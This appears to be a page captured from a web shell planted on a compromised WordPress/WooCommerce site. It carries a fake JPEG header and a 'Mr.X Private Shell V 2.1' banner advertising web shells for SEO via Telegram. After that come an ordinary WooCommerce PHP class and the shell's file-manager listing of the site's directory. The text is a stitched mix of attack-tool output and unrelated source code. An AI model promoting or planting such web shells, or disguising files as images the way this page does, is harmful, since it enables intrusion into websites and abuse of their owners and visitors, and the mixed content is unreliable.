����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Automattic\WooCommerce\Internal\Api;
use Automattic\WooCommerce\Vendor\GraphQL\Validator\Rules\QueryComplexity;
/**
* QueryComplexity validation rule that returns a generic error message when the complexity is exceeded.
*
* Admins can still read both values via debug mode; see
* {@see GraphQLController} step 8.
*/
class QueryComplexityRule extends QueryComplexity {
/**
* Override webonyx's default ("Max query complexity should be {max} but
* got {count}.").
*
* @param int $max The configured maximum complexity (unused).
* @param int $count The computed query complexity (unused).
*/
public static function maxQueryComplexityErrorMessage( int $max, int $count ): string {
return 'Maximum query complexity exceeded.';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Autogenerated | Folder | 0755 |
|
|
| GraphQLEndpointRegistrar.php | File | 2.15 KB | 0644 |
|
| OpcacheFileExpiry.php | File | 2.86 KB | 0644 |
|
| QueryCache.php | File | 13.49 KB | 0644 |
|
| QueryComplexityRule.php | File | 795 B | 0644 |
|
| QueryDepthRule.php | File | 745 B | 0644 |
|
| Settings.php | File | 6.8 KB | 0644 |
|
| StatusResolverFailedException.php | File | 569 B | 0644 |
|